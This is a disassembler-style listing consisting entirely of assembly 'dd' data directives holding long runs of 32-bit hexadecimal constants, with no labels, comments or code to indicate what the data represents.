		dd 333B84F0h, 0F0985926h, 5B0B9A26h, 0FA367300h, 12500778h
		dd 41ADF1h, 0B2E1360h, 0CC3BD8FCh, 5834DC1Eh, 14F01D1h
		dd 87817AB9h, 74EC24h, 757661AAh, 71A409D6h, 55C498DDh
		dd 3F814B31h, 40ECB0F6h, 0CFB4D12h, 0E638F40Eh,	0F482E06Bh
		dd 14509C64h, 0AC4E8F00h, 0CD01CF5Fh, 0C998A8B2h, 3C1B04E5h
		dd 1219185Bh, 78385000h, 0E296232h, 85E163D0h, 20E80BCh
		dd 18ECB107h, 74F29024h, 40C0311Eh, 3EA1E82h, 1EA09A68h
		dd 248F729h, 3059AA2Ah,	0A97954E8h, 0A87F1C2Ah,	0C6F67102h
		dd 0A0D36997h, 769F80C4h, 955104EEh, 49392645h,	3CF4801Ch
		dd 67FA684Ah, 0ECE9F9h,	0E7766F3Eh, 0C300949Ah,	501FB93Ah
		dd 2B53B7Ch, 2D725531h,	0A8524787h, 1282F001h, 44F83032h
		dd 0BE4030h, 6FBDAF56h,	3FE4EA0Bh, 0D409E528h, 1C08D100h
		dd 356071D5h, 337E012h,	67D3C33Dh, 92E089A1h, 214D33A9h
		dd 918609B8h, 79810CAFh, 121A8073h, 0A9655200h,	0B3AB71E5h
		dd 7EC0C1AEh, 0E41E1DCDh, 0E224DECEh, 9F00F797h, 52C001D6h
		dd 587AA4h, 0DD778081h,	19E96531h, 3F63C13Dh, 0AC9B2EE0h
		dd 0C74AD920h, 0D8800465h, 0E602D50Bh, 7E1B01E8h, 0EAF0C950h
		dd 80D0551Ch, 0AE4C2ABBh, 0AFFB4E05h, 68D0F42Bh, 12835F2Fh
		dd 80DEA4A2h, 0E49D92E0h, 5DB77D00h, 0BE6BE5A5h, 95FF007Ch
		dd 6F50B3BFh, 0CD017564h
		dd 42A8A122h, 8BE8BC7Bh, 9CB500E8h, 25378557h, 36002FCFh
		dd 0A797908Ch, 89E113h,	0D23259BFh, 0AEA1FB95h,	67ADD005h
		dd 0CC1E3153h, 0D4F26282h, 0DF5AE05Fh, 0CB5E008Bh, 0AF29484Ah
		dd 68E0307Fh, 98113Ch, 0FAA7C24Ch, 50128EEEh, 3885B0F9h
		dd 3592D923h, 13244277h, 80839904h, 0F112D08Ah,	48460C1Eh
		dd 742941D8h, 0EE4098A0h, 0E9DC304Ah, 0B986BDE5h, 0FA660B07h
		dd 0DEE065E0h, 0D8A02Dh, 57076C9Fh, 88F301D2h, 6946B90Fh
		dd 720D8696h, 9E3F0042h, 0E5BEFB1Ah, 0C5024A4Fh, 504E6AA5h
		dd 407C6153h, 0E85182FCh, 0DFE9002Dh, 0BD4F2741h, 22008B43h
		dd 56F3EB69h, 392A61E4h, 9A06D814h, 8150A0Dh, 0A71F9C00h
		dd 7021EFDBh, 0DE45008Dh, 0FBDEB7Eh, 5448997Ch,	0CDA6007Ch
		dd 0FD5F9FADh, 0C1020931h, 6835694h, 17889CCCh,	2714F3B8h
		dd 0C0A468h, 0B0EA04D8h, 3F10F60Eh, 0C480E6F5h,	57AA289Ch
		dd 9700C14Ah, 0F808DAF4h, 39D59CEh, 0E02CA023h,	27C83D71h
		dd 8B00A883h, 4F4AB1E9h, 710A75BFh, 68A607C0h, 0DB7EF2D6h
		dd 85980E00h, 5700F10Fh, 910CF5A3h, 4CD87D05h, 9A000868h
		dd 486F2766h, 93003FEAh, 1F29B09Dh, 3B7082h, 433CA75Eh
		dd 0EEC987C5h, 17B7D00h, 3A64DA42h, 85E4008Ch, 0E2B2F338h
		dd 2800CA2Fh, 0B81CFB15h, 0CB4AAAh, 0F51A490Ch,	22E5127Ch
		dd 0BDEA8900h, 576EF33Eh, 0BA403A7Bh, 5419A600h, 0E2108CB3h
		dd 6B5E6F00h, 92BFE38Bh, 30F8003Eh, 0AC6A634Ah,	9100EC8Dh
		dd 0C9F9BB1Fh, 0BAF1EDh, 8BE24521h, 0F6EE005h, 966DDC13h
		dd 0F4064100h, 7B9856h,	3CFF7F64h, 0AEC3FE26h, 4096216h
		dd 0D68B9B05h, 710027C5h, 3D4264D9h, 0C8E70314h, 0FF1FAFCBh
		dd 0F5F94000h, 1D08ACC6h, 0C51E00E4h, 20033836h, 8209A89Eh
		dd 805B7126h, 4942BD1Ah, 148D0043h, 0F201EF73h,	0F9007420h
		dd 0ECB24C24h, 0C0D14852h, 0FAAD7EA0h, 0F0F70E8Bh, 86138881h
		dd 70455BC3h, 4A80A964h, 419C61h, 0BA76FCFh, 5F9B1878h
		dd 9879DC00h, 1DF0DD50h, 5C8A0AD2h, 4D431h, 0C626E1FCh
		dd 171FE056h, 0DF00B59Bh, 0EDA4C124h, 0D0D72789h, 4614481h
		dd 0D4887066h, 0DA67FB0Fh, 9DC5008Bh, 5C1ADCh, 0E8B69070h
		dd 0C65A8E06h, 0E6C33700h, 0AC640930h, 0CBA63F5Dh, 0C4527609h
		dd 4EF3BC00h, 9B1DD656h, 3340C5C3h, 97857405h, 8060E998h
		dd 47020F78h, 0E2A05838h, 0C0EF5D27h, 834F2507h, 0DA31129Ch
		dd 33CC7D97h, 0BD2C0652h, 916C58Dh, 0E447300Eh,	0E56A635Ah
		dd 0F106F095h, 1FC890C2h, 407E77F4h, 39C7A0C4h,	643CE903h
		dd 17769F45h, 9D8BAB40h, 0ECF390h, 0F7684F49h, 4D60E2C7h
		dd 24153516h, 94FDB44Ah, 38A15000h, 3C391253h, 5D8589BAh
		dd 8016D940h, 243CC432h, 0C117AB90h, 181E2FB5h,	0FAEEBA40h
		dd 0A491D5h, 0E67F4753h, 66F7739Ah, 0C5DA4400h,	0C4EFEB39h
		dd 3CC30048h, 193FFC68h, 0B470260Ch, 4613F107h,	0C8313304h
		dd 808002DAh, 0D85BA42Eh, 0BA019D1Dh, 0C5C111F3h, 60D232DCh
		dd 1C7354B8h, 853046F8h, 0C098185Ah, 0BDCE3EA1h, 6ABA6860h
		dd 933ED08h, 0E5ECA795h, 7E62D800h, 93B0721Ah, 7599E909h
		dd 4814002Dh, 0EEDA0h, 0EA0D4FA1h, 1793C712h, 0CED3010Ch
		dd 7399871h, 91B6CD7Ch,	5544F0BBh, 32017E6Fh, 3498604Dh
		dd 91E3E405h, 309F5A0Fh, 718680E2h, 2A29E1A9h, 8310BF03h
		dd 0F0A36B1Ch, 0F7A17BDh, 69FFA818h, 4C28C220h,	9676B80Fh
		dd 1D720C39h, 0F64023C1h, 8A2C9FBEh, 0D8630E2Ah, 796026E5h
		dd 0D11FCEA4h, 53775900h, 5C92016Ah, 0D3FF2F17h, 0AE20900Fh
		dd 0A584BD3Eh, 8E679900h, 53257706h, 831F002Eh,	0C7D96435h
		dd 0EB00D04Eh, 7CF61481h, 7D602h, 945E8A2Dh, 9C62DEF0h
		dd 75277100h, 0A4BAC5ECh, 0EB60C74Eh, 0C02917CDh, 0DA806652h
		dd 0A024FA00h, 0AC63993Eh, 5650250Ah, 0A679C402h, 0A803A470h
		dd 0ACC9B0DEh, 8D45A3E6h, 0EEB2ACD1h, 731F1080h, 2EBB5469h
		dd 8657C605h, 24071151h, 0A0DEE203h, 597C6BC9h,	9EAD0031h
		dd 3ED97F4Eh, 602AF2EFh, 0C1E080DFh, 53BB3118h,	3E68B40h
		dd 1430AB6Ah, 16B0600Eh, 80022603h, 0E1AD1D28h,	5FA0C006h
		dd 0BA0E397Ch, 83C000CBh, 0DC3BD085h, 0B9CD4200h, 0F68D55D6h
		dd 0FCC20004h, 0BFC462C0h, 0ED608B1Dh, 7484F879h, 47900A5h
		dd 0BCCCEA6Ch, 0DD00BD2Ah, 3A1AEB97h, 0BB1DE1h,	5AE311CFh
		dd 74D66288h, 3AD271C4h, 577588D0h, 9A640114h, 48171201h
		dd 0B89060B4h, 0DE273701h, 0A9F50765h, 9FBAAC41h, 0D886B053h
		dd 0A0774D64h, 0FCCDA7h, 213D1290h, 0BCBDBB6h, 0A42D29C0h
		dd 4FCA96h, 83A651BCh, 0B7DC688h, 0B1ACC200h, 0E5D44ABFh
		dd 78C02D2h, 7B6E6703h,	0E4A4FBE0h, 9D51800h, 24FE75D4h
		dd 56350BFBh, 0B180A2BAh, 6ABE2937h, 0A0515200h, 0C70F745Ah
		dd 7E6E0072h, 1203B41Dh, 2C00DC0Ah, 8529BACEh, 96BBD4h
		dd 0B1AAD3D9h, 407F524Fh, 89638425h, 1298120h, 1180C28Eh
		dd 64538D10h, 1600C45Dh, 1D94B56Dh, 125F1C75h, 53478441h
		dd 32D3AC50h, 40305081h, 0E31796h, 0A3CC9534h, 4F08D983h
		dd 5A8FCD07h, 21D0A7A5h, 32CC9E2h, 29FD9235h, 10A08C26h
		dd 7500CF37h, 0C05C3004h, 73D5714h, 991D9317h, 0D70BF0BBh
		dd 0CF00107Dh, 0F930FDBEh, 1657CBDh, 6193EC18h,	83AD0C7Ah
		dd 4DAE9248h, 47CEA0A4h, 68DFA6h, 3CDFC817h, 0E90C3D03h
		dd 846EA14h, 0E621C033h, 55A5E039h, 3EFCEC4Fh, 41EB581Dh
		dd 4B3265AFh, 0CD298084h, 827E6CD3h, 0D8709Ch, 0B8A0FA95h
		dd 1251DEF4h, 6386800Ch, 60CA8809h, 1BFD0817h, 0F20005C2h
		dd 0A7A216FBh, 16B9449Eh, 56EFBCh, 58D36990h, 0FE7B97D7h
		dd 1D88E900h, 0CA6BFD82h, 2190A84Bh, 5F410ECCh,	0F202CD7h
		dd 68467A6Fh, 0E8225602h, 0A06B70A7h, 84A5FD80h, 37FC74A1h
		dd 0C1413AC1h, 8087A8E4h, 319FA2C9h, 0FA78A04Eh, 0AFCC3h
		dd 0AB94FED6h, 0ED5C84CEh, 0BC104202h, 112080h,	0C7F5D5DDh
		dd 0DF3D292Ch, 833121Eh, 60210008h, 9889F5DEh, 0BA03DD56h
		dd 2B456685h, 0F12CA8ADh, 6A2033C9h, 0A3B04D80h, 7C0349EDh
		dd 4E5FD3BCh, 7934C01Dh, 6E40051h, 3FF480C8h, 0D431051Bh
		dd 59CA3812h, 2FE841B4h, 8D17EA04h, 0B4C000B0h,	95244B08h
		dd 20C206EAh, 48986A80h, 921DCA84h, 0A5BF0054h,	0A073864Ch
		dd 110061BBh, 0FE035924h, 1D32156Fh, 0C0742652h, 1CC908B1h
		dd 5304932Dh, 4A0B3CDBh, 6AEAC88h, 0CA816860h, 0D53B592Bh
		dd 0B9168050h, 628BB4DCh, 243B0C40h, 0C7B10E8Eh, 0A0183654h
		dd 0D84ED103h, 98469164h, 58FF757Eh, 0C079E201h, 8944D0E1h
		dd 818ACE6h, 0CE498F48h, 1C6E00F1h, 0D6165337h,	7B061A27h
		dd 0FCF02211h, 6B9A0038h, 0E1477DADh, 0A8E2834Dh, 1F1E6100h
		dd 0FF02AC9Fh, 0D99500B4h, 0A6743F6Ah, 890016F2h, 3151A1CBh
		dd 93D49Fh, 0ABF86704h,	47929914h, 0C0DC484Ch, 3DFE035h
		dd 22E84355h, 0CACD3F5Dh, 0C1813580h, 0EA26ABADh, 8A61905h
		dd 0DC202F05h, 0FBC2A97h, 6426A890h, 0F243B2CEh, 0C49A0223h
		dd 1B8EE10h, 0C6B020EBh, 0E0454630h, 283822EAh,	75387A0h
		dd 0E3C8AD36h, 58B89A02h, 4D511EC6h, 90A810C2h,	721D1834h
		dd 11805752h, 3CCAD11Fh, 29C92ACEh, 0F47100CCh,	9C83A095h
		dd 2000ED76h, 99D75EDFh, 0C5D5C6B8h, 21A10560h,	937C47E4h
		dd 0A000C4F9h, 22D65984h
		dd 3E3600CEh, 69FC7D5Ch, 0EB584F23h, 722E0898h,	0A1AD00BBh
		dd 58CB8CAh, 8C14122Ah,	2F0EBCF8h, 0A3F031A5h, 358623h
		dd 8869F261h, 86DE88Ch,	0DC043106h, 3A891EC9h, 0A900B47Ah
		dd 1721B323h, 6C00940Fh, 564FC7DCh, 2A7A5DB6h, 0A1AC2485h
		dd 4C23A394h, 49801F7Ch, 385C0D0h, 4CC94E6Ch, 6302B54h
		dd 0C7355F12h, 3C459E00h, 28AAA04h, 0A6FBD817h,	90B09D31h
		dd 44842C2Ah, 0E7004E8Dh, 3AEB8361h, 0F9690Ch, 191B4386h
		dd 79942405h, 0A08029C3h, 0F4A9A6F6h, 88008A35h, 65C9901Ch
		dd 860290A0h, 0C371490Fh, 13854FFh, 3F282C8h, 0B2F9B4E1h
		dd 72A9C8h, 804D4414h, 0FFA81B95h, 0AD2FCC1Dh, 79D705FFh
		dd 8C420686h, 468CC378h, 0BC4705F4h, 0C8C50A89h, 0E3E09A1Ch
		dd 0B77E7403h, 12CA02h,	7B9B3C19h, 0CF333A1Ch, 8F017FE4h
		dd 5FEB80E0h, 0CC6477D9h, 70DD64CDh, 1B115892h,	8386A33h
		dd 10513056h, 327C2B57h, 0CA910D0Ch, 18AE123h, 0A33EB28h
		dd 8705F63Eh, 995811A2h, 0B57B2920h, 4BE324A0h,	1B0200ECh
		dd 0C572F30h, 0A85170C0h, 0D5F712h, 0BB870A5Ch,	0FA94B847h
		dd 55177775h, 0AC300205h, 24237D3h, 1A72B213h, 4863A1E1h
		dd 0F4DEA814h, 58948AD0h, 71C0249h, 0DCD6005Dh,	3D48227Dh
		dd 0F92A1F58h, 89058930h, 2939C61Bh, 0D5F841B5h, 0F92E4C00h
		dd 9DA6590Bh, 3332286Fh, 119128F4h, 4680B0DCh, 0F50873BAh
		dd 0C4ED29D9h, 0E2D24005h, 0E425DFF5h, 48258AEh, 0B74F43C0h
		dd 4500E97Bh, 7F0C904h,	3B0069Dh, 12A7B831h, 991B8DECh
		dd 0C0F17805h, 60E4249Ch, 336E10ACh, 8A64F82Dh,	5CC8C329h
		dd 94A601DAh, 0C49D88A7h, 0FDC020C6h, 9CD83A07h, 78F01F83h
		dd 0C29EABDh, 8CFA030Dh, 4D03CB39h, 95C01E20h, 31C7E0C3h
		dd 91E60C4Eh, 4D885BCFh, 0DC92AF12h, 1436A48Ch,	8203E2E0h
		dd 988A45Ch, 0E0374880h, 89C06Fh, 316B7AE3h, 0DFB4321Dh
		dd 10381258h, 3800FCA7h, 0C6EC2FB5h, 890C490h, 0C37C2A50h
		dd 0C522D4Bh, 89BF1400h, 1A14C05Dh, 0C19140C8h,	73ECC863h
		dd 7107A4DDh, 80404E3Eh, 5F285AD5h, 2F000C90h, 40572703h
		dd 1876051Bh, 5822EDEFh, 639F4771h, 0DD58042Dh,	0C85ACFBCh
		dd 76032F80h, 9AFF72A1h, 29203ABEh, 9424D0h, 0AC8C2E97h
		dd 0CC5B4914h, 18C74129h, 0E174AB0Fh, 73B56ACFh, 0C0800FEDh
		dd 85756439h, 65015AD4h, 0A7C74540h, 32E8A0E4h,	2C2D02C1h
		dd 6F4A2FF9h, 0EC773C60h, 68D9801Dh, 4142F740h,	1CEA789Dh
		dd 0B3A48775h, 0B808C780h, 26E15D4h, 0F02D528Dh, 40109CA4h
		dd 3D4D82A5h, 0CF1DF9Ch, 4410A10Ah, 8CFB6926h, 0A0FEE308h
		dd 0D80407E0h, 555F77h,	0FF24E1FDh, 33B2E4A8h, 0DD4B511Dh
		dd 0CB1304E6h, 21F0085Fh, 0F650DBCDh, 29A71407h, 0F2161C21h
		dd 1481D77h, 0C3C6B17Ch, 1A7180DAh, 5E245AFCh, 0DF9000C9h
		dd 0D599B5E5h, 120077B0h, 8CBAFA18h, 6AD9AA1h, 4C2B76FEh
		dd 0DF469808h, 9D513901h, 0C2D60DDh, 60FD419Ah,	0C5FC4E9Bh
		dd 0AF304916h, 242C8C13h, 721348AEh, 615FCE01h,	0F8DE03ECh
		dd 109AC36Eh, 0D802C746h, 0D529D4F5h, 0D980F131h, 0DBF5E03Dh
		dd 592E4F7Eh, 0D13F5DFh, 0B531D400h, 17E3522Bh,	0E0558061h
		dd 3264287Dh, 44CB4338h, 3010FAC4h, 272585Ch, 88E72F1Eh
		dd 7CE81821h, 0F81E7D4Dh, 0A3226D8Fh, 953CA094h, 7011C007h
		dd 0AB39E348h, 826A703h, 0A2ACE190h, 0DA90A77Ch, 0A81EE333h
		dd 398A9177h, 9D0035D3h, 0ED50EBF9h, 5630B89Ch,	7DA1708Dh
		dd 9A6A4084h, 3B1CD80Fh, 88E381B5h, 18938234h, 0DC8033Fh
		dd 10008C7Ch, 0B8B72A86h, 8072D7h, 4E8662Bh, 0A6D8AC65h
		dd 0A8D2C012h, 0B9112D05h, 0F748EC00h, 33E92A4h, 4A01D6Fh
		dd 11C87FD7h, 430067B3h, 0AEF5C92Ch, 18801AACh,	18D0FF94h
		dd 8D3E2E5Ch, 0EEB00EAFh, 2C0090CCh, 0FCDC7DB6h, 7CB8739Fh
		dd 8583E903h, 0C8625D27h, 6D7113h, 0A9AC3929h, 0FFCFC182h
		dd 2FA87C00h, 9AC9D7AEh, 98F2747Dh, 0B46F306Bh,	0DF6CFC10h
		dd 680FCB71h, 0F9F07FE6h, 3180FF08h, 67DF64ADh,	0C201403Ch
		dd 2F14D1BEh, 7260984Dh, 0C0A960EEh, 0CA53DD85h, 9D697460h
		dd 1B40339h, 9EB6371Ch,	0D0B5A7F2h, 20C0DD8Ch, 0F803976Bh
		dd 8BEB075Fh, 5762A960h, 7C35B027h, 6A777793h, 0C8BEE433h
		dd 0E084971Dh, 0C0477001h, 118BA71h, 0F410D77Dh, 23EDB455h
		dd 22F1ED40h, 0EBF30031h, 7EB88494h, 0C20BAF45h, 0FFAB78h
		dd 8076E0BAh, 5D8B005Bh, 0E27B1A58h, 5E075771h,	17E5A9BAh
		dd 0D93693D0h, 0F2C498F5h, 0E48E0026h, 2812821Bh, 973A05C7h
		dd 0FD0F8092h, 3A613983h, 0E538036Dh, 0EB6D613h, 12871EF0h
		dd 0A184EF01h, 546E21B3h, 3F164F0h, 0F6341CB6h,	77D01A62h
		dd 0C20E0B57h, 415CFEA6h, 0BAECABE3h, 78D7C4h, 0C66970BBh
		dd 5E1C48CCh, 0A54A60Bh, 4E648053h, 0F6D2907h, 4C14B9EBh
		dd 0E4F28F60h, 7F00BADDh, 58EEBD5Ah, 0BF52DFh, 546B421Eh
		dd 0CD43F6FFh, 24117507h, 18C312B0h, 2215F885h,	1D7F0FB9h
		dd 8D2F0AA3h, 10B88F8Fh, 0E1006E64h, 0CDB9B747h, 0CCB80D96h
		dd 0C4215808h, 0C9BAAF00h, 0E849F444h, 5D720019h, 56C29968h
		dd 0F900020Dh, 8584A598h, 0C1A61825h, 2A8F7039h, 0DFFCC44Eh
		dd 3BE5D000h, 0C5D9017Ch, 4C981Eh, 6AD2FAC4h, 84AB8733h
		dd 0B2B8740Ch, 0E8B9407Eh, 59796FB5h, 36BD0300h, 0BB0C6F0Ah
		dd 91E2E33h, 6321C08Bh,	7D56364Eh, 93F94A00h, 2C72FEF1h
		dd 908406A3h, 996C0F5Dh, 0E9E3470Eh, 8144E049h,	61941Ch
		dd 6CD0FA16h, 40D30EDAh, 0F2942C54h, 0B4C1743h,	21B7C00Ah
		dd 4150C494h, 68E17ACFh, 8BF5C0h, 9C76C31Fh, 2E8D95DBh
		dd 8E37F71Dh, 0E600A310h, 90B7AFC2h, 6300472Bh,	0E5A4AB86h
		dd 0C3A3164h, 0EAF0FCACh, 0A2008459h, 74C4179Bh, 4EB7A5h
		dd 54ECF1DFh, 0C756D3FEh, 41E319F0h, 9F0CD554h,	9843E339h
		dd 0A0556976h, 12511EDh, 24DC1C8Fh, 809AAFBEh, 0CFEE0D98h
		dd 0E7D9FF1h, 419C7B25h, 45EBABA0h, 4E0193A8h, 0CB5483F8h
		dd 0DE4E519h, 0A2F5009Dh, 122C702Fh, 0E10598A1h, 385C58F7h
		dd 9C40FC03h, 6A4588B5h, 98806006h, 2B65F816h, 8E004890h
		dd 0ED9554C1h, 313A038h, 0B0250A81h, 207115A6h,	94E90905h
		dd 203864E6h, 0F04601h,	2C792E7Dh, 0A878C6AEh, 0D4A5FCh
		dd 0E69076E4h, 0EDC280F6h, 900A08CAh, 0E4DD8280h, 0DEDA3Dh
		dd 92566027h, 0A1FD02E0h, 79E2E0A8h, 119CE8A0h,	0B600A878h
		dd 19BF4C54h, 44F314A0h, 5E002110h, 0C97EACC3h,	48086Ah
		dd 0E512E4Ch, 0B87544FDh, 9FD02354h, 77F72100h,	0A701963h
		dd 579218A0h, 0A93D497Ah, 0A4C44D07h, 93B15AB5h, 34FD5B64h
		dd 0B0D32187h, 0F695A04Dh, 6948DCC0h, 10989490h, 0BCC77508h
		dd 736F3236h, 64108A31h, 0A3073692h, 0B9680344h, 3A775880h
		dd 730C2A79h, 9095EEA0h, 1604005Fh, 0D45B0FC5h,	12027614h
		dd 0E67EB656h, 7238A074h, 246F0136h, 58D09A43h,	36009062h
		dd 8D4D4CEFh, 14D0236Dh, 0E81BF4EAh, 7F66B903h,	0C810382Bh
		dd 0C6C0A472h, 0E36ED536h, 5EC0FC91h, 0ECE1369Fh, 0D77A2847h
		dd 881EF4CCh, 98007D0Fh, 50368D2Bh, 0C1CAEh, 87156D99h
		dd 8992D4D7h, 5D0E760Eh, 429404F1h, 0F8B18D0h, 39D38885h
		dd 97961800h, 0E19EC191h, 233807EAh, 0BC69FCF1h, 18A01B89h
		dd 83008CEDh, 0B7D52E22h
		dd 0ECC33802h, 0B4B50045h, 88FDE81Eh, 513F3FC1h, 0BC744DF1h
		dd 4428017Fh, 26EDE064h, 0FA90176Fh, 1FD5681Fh,	6625EA9Bh
		dd 0A10C0230h, 6861AB85h, 39B718ECh, 7190B2BAh,	807AC8D8h
		dd 5CE16CB9h, 0B400912Ch, 2F817CABh, 0F6850430h, 4C6C92FAh
		dd 6CCAD897h, 36C8C0DCh, 53216F8Fh, 5E69199h, 313649B8h
		dd 0F0F7C080h, 0D7EB3FF8h, 9421EF30h, 9009966h,	69AD33E7h
		dd 91FD0D15h, 21983B9Ch, 909EA982h, 39E87837h, 6ACC3780h
		dd 8234CA1h, 200B423h, 0D690BCE5h, 10814203h, 580E419Fh
		dd 0DFC0E3EAh, 0CB0C63D1h, 2A181C60h, 0CE490Ah,	0B3F6AF18h
		dd 26D004D7h, 16526D00h, 3AE187CBh, 7AE8A156h, 2134C0h
		dd 20CD851Ch, 4B8D754Ch, 7DC42213h, 35CBAC00h, 820F6Dh
		dd 2C332652h, 75A466FAh, 23098C71h, 20F547E8h, 7D43918Ch
		dd 0DC3800F0h, 0AB84FAF7h, 0AE140FF3h, 80FCC6DFh, 0D2C96745h
		dd 0B5F12621h, 901DC04h, 0B9CCC138h, 4DD80126h,	88D77275h
		dd 87744240h, 2E68C700h, 0DF90C670h, 0D2503E99h, 22AC0D0h
		dd 7D8B54Ah, 686C9FA0h,	0E54DC002h, 195B2CA7h, 48021017h
		dd 1DEC4Dh, 3827A459h, 5766DFA9h, 2B0FC200h, 45EC3D83h
		dd 0C6E1009Ch, 56D2FB3Eh, 18B8A20Eh, 24250616h,	0FF1C72h
		dd 0EAE5DFADh, 9A682D62h, 60C442B9h, 28D07A50h,	0FAB0C7C1h
		dd 764D0B66h, 6030E0F6h, 0B429F23Ah, 1EC42096h,	80315771h
		dd 8E876ED1h, 0F7F170h,	45C58A44h, 650EC741h, 0E6F2542Ch
		dd 553EBC22h, 0A19986A3h, 58B0E3F9h, 7A804CD5h,	0FAC1AEF1h
		dd 0CFB8EC2Ch, 0BA869207h, 0C7ACB9C0h, 61D4ECF8h, 0D7B4489Ah
		dd 86398018h, 0F89960F6h, 30EE0302h, 96A642EDh,	0D21F21EEh
		dd 2D00A0B4h, 0DFF4179Ch, 9BE79B6h, 0F95A2A44h,	53496C80h
		dd 8800B941h, 5143204h,	608B408Fh, 1001B9F1h, 2F004EE4h
		dd 0E02AB37Bh, 0AAA7Ah,	900F58FFh, 2131268Eh, 0F8946C00h
		dd 28E4BC7Bh, 0B74D1E1Fh, 391E0F29h, 0A4EBE100h, 0C0010C72h
		dd 24D4A2AFh, 0ACE076D7h, 6C91D5h, 740D28A1h, 17078CF4h
		dd 9E974F27h, 7AF7640h,	2A850FD3h, 0A8E034E1h, 0DB829F96h
		dd 8051B139h, 0B889E598h, 9E0D94h, 0CD05D85Fh, 4565E802h
		dd 0F0B94E00h, 0AB2B104Fh, 6F5700A5h, 0DAB82EF2h, 66007EB1h
		dd 2DB6776Ah, 7199E3Eh,	1FD2919Dh, 8F6D83CAh, 0E2EE3FA0h
		dd 0AFFB8300h, 88DAC451h, 0EA01004Ah, 0D6324B8Ah, 970EB747h
		dd 0E02D17F5h, 0B1E2818Dh, 77EFEE9h, 2C4C96CAh,	0E380E032h
		dd 0FE005893h, 0C3B9A10Fh, 0E8AB1C68h, 0E901FC5h, 80E31F87h
		dd 7C67800Ah, 0FF732415h, 551A0707h, 0D950376Fh, 285632F9h
		dd 180E93Bh, 9B2E2CC4h,	80B4E55Fh, 41649A10h, 3EEF9367h
		dd 0E4012624h, 335E5FA0h, 0F83ACC46h, 988F9A00h, 1767BA85h
		dd 294F006Eh, 8E55FE16h, 0B300C141h, 0D2F892F4h, 7A2AA63h
		dd 95C7C386h, 0EEBCC0EFh, 0CB009461h, 96DD2DFCh, 185CEF1h
		dd 0B11749Fh, 0EC0635E4h, 8C00EB7h, 2EC8A469h, 4F970072h
		dd 74EA1D7Bh, 607A82E2h, 27FC0D7Bh, 50F09000h, 5670990Ah
		dd 7579002Ah, 68314832h, 0D0003FA1h, 8062F1E9h,	0D7E66Eh
		dd 0A2B15627h, 84E482E0h, 0E507F700h, 0F0A70D7Ah, 78423B9Dh
		dd 7668B580h, 2139D064h, 17085F03h, 0B8662C41h,	4CAD4Fh
		dd 26C210F7h, 705247EFh, 4AA3BA00h, 1D802E49h, 350D1E1Fh
		dd 585540E7h, 0DEEEB7B4h, 8ED53F00h, 9CF525EBh,	6C8C00BCh
		dd 35E326CBh, 0C0B51249h, 8EBB23h, 64A49C59h, 89ECDC4Dh
		dd 80DD543Fh, 40A7E89Dh, 3B527C1Eh, 9300E594h, 0A1A5347Fh
		dd 750F26C8h, 0C0ABB756h, 82501FF5h, 2E080047h,	2686C904h
		dd 17A842Fh, 648818C1h,	0C12B4390h, 0F80B4556h,	0A900EA56h
		dd 0D90E2DE9h, 4DBC22h,	0FE9DEDA8h, 9337AC04h, 29F61C00h
		dd 516F0B3Fh, 0D57200EAh, 0C456678Fh, 0C800DBAEh, 0C7A548C1h
		dd 3EDD27F3h, 0A203AD3Dh, 2E110971h, 3B9D83Dh, 479F3505h
		dd 5854B0A9h, 39203A61h, 38A29680h, 0D389D1B1h,	0B3303A60h
		dd 7417F6B6h, 0ADDA0073h, 9F0F1E36h, 0EF06C57Bh, 0C0282A0Ch
		dd 545D12A8h, 821FAADFh, 20141D00h, 1D3C58A9h, 4337D7FCh
		dd 0C8F0B00Eh, 16F67BF8h, 7C6102C0h, 0BD0945h, 6E96B104h
		dd 2389D683h, 0BA6F480Eh, 131DC064h, 3E2A8FA5h,	0CB9486BBh
		dd 7C089C30h, 2602A7E3h, 0A043A824h, 44B41124h,	0F0E416F5h
		dd 6DC001FFh, 0E4D53260h, 0A600CEEBh, 7CED83C5h, 1E56B250h
		dd 40C06F18h, 6EAA60EAh, 30018851h, 34AC200Dh, 0EFDC480Bh
		dd 0B3AB0EDh, 701071C7h, 873C1100h, 4E007216h, 1191E05Bh
		dd 2AC5011Ah, 2E05780h,	8F58A0AAh, 0DC00849Fh, 38FEF909h
		dd 7B07BCB3h, 0B2FBEA1Fh, 0ECAF0ACCh, 0F7F4D4C0h, 4100D8F2h
		dd 0FA67AEABh, 2F6E808h, 65B330BCh, 0D08094B4h,	181D53D9h
		dd 3B007448h, 62D70E90h, 0A6EDE73Bh, 3D482C00h,	81021F7Ch
		dd 0BE6C098h, 0B6477E32h, 7904FB01h, 9A7A1C4h, 2CBA80D0h
		dd 1DA22Ah, 0DF384F51h,	33FCF596h, 0B43E0503h, 0F8E0909Dh
		dd 0BD8AA9h, 3BB74C8Bh,	0EC725752h, 91580500h, 9A56A94h
		dd 31674CBh, 92C18CADh,	0DD88883Dh, 0BBF408F4h,	56E9100h
		dd 0C2BE1450h, 57C60A71h, 0B802521h, 240030ACh,	8A0DCCEBh
		dd 0DAE289FCh, 5642E13h, 9A077AE8h, 503FFC9Dh, 6C4176D8h
		dd 0B9C4EB39h, 0D600F480h, 22B34784h, 3F7877C2h, 0E65CFAE9h
		dd 0B2202300h, 957E81EEh, 0D0543300h, 0BF5536AAh, 1C850146h
		dd 7D64C543h, 0D3B5C8C6h, 0B6F19700h, 9E07C49Ah, 0B49503BDh
		dd 0E1F6520Fh, 6402B808h, 2587001Eh, 1568700Ah,	0D028FD28h
		dd 3C546A00h, 58BCD6DEh, 2AA89085h, 24D8A112h, 0FF150ECh
		dd 7D6081F2h, 341F6FBBh, 88EAE603h, 2A95839h, 0B4D4D028h
		dd 14689FDAh, 3178DDE0h, 0A65E3D38h, 0C9090466h, 528000BAh
		dd 74D6C16h, 0F626A290h, 2941E0C1h, 7F00471Fh, 0A07A4E8Bh
		dd 1EB3F270h, 8358F9C7h, 0C4D5D44Fh, 26F035DBh,	0AC3C2BB1h
		dd 7E388008h, 19D38390h, 4CF001Ah, 1720955Eh, 0F6007F30h
		dd 320FF280h, 9B78A6Ah,	0B0C3D60Dh, 85A47B03h, 49A310A8h
		dd 39D4BF07h, 0B1C0A14Dh, 442BEDh, 0B5E5A7A8h, 7EDF6563h
		dd 7C55D303h, 0D08D5753h, 724E76D2h, 0A6E102B1h, 132B31CAh
		dd 0AC464C40h, 8400AB79h, 0F4A1E588h, 18353EBBh, 0E850DE4h
		dd 3B0FF03Ch, 0C06DB405h, 0FB3274E8h, 0C78800A2h, 0E03D7321h
		dd 0B3000E8Ah, 11CA471Ah, 0FFCDA7h, 65AE9284h, 28D02C1Eh
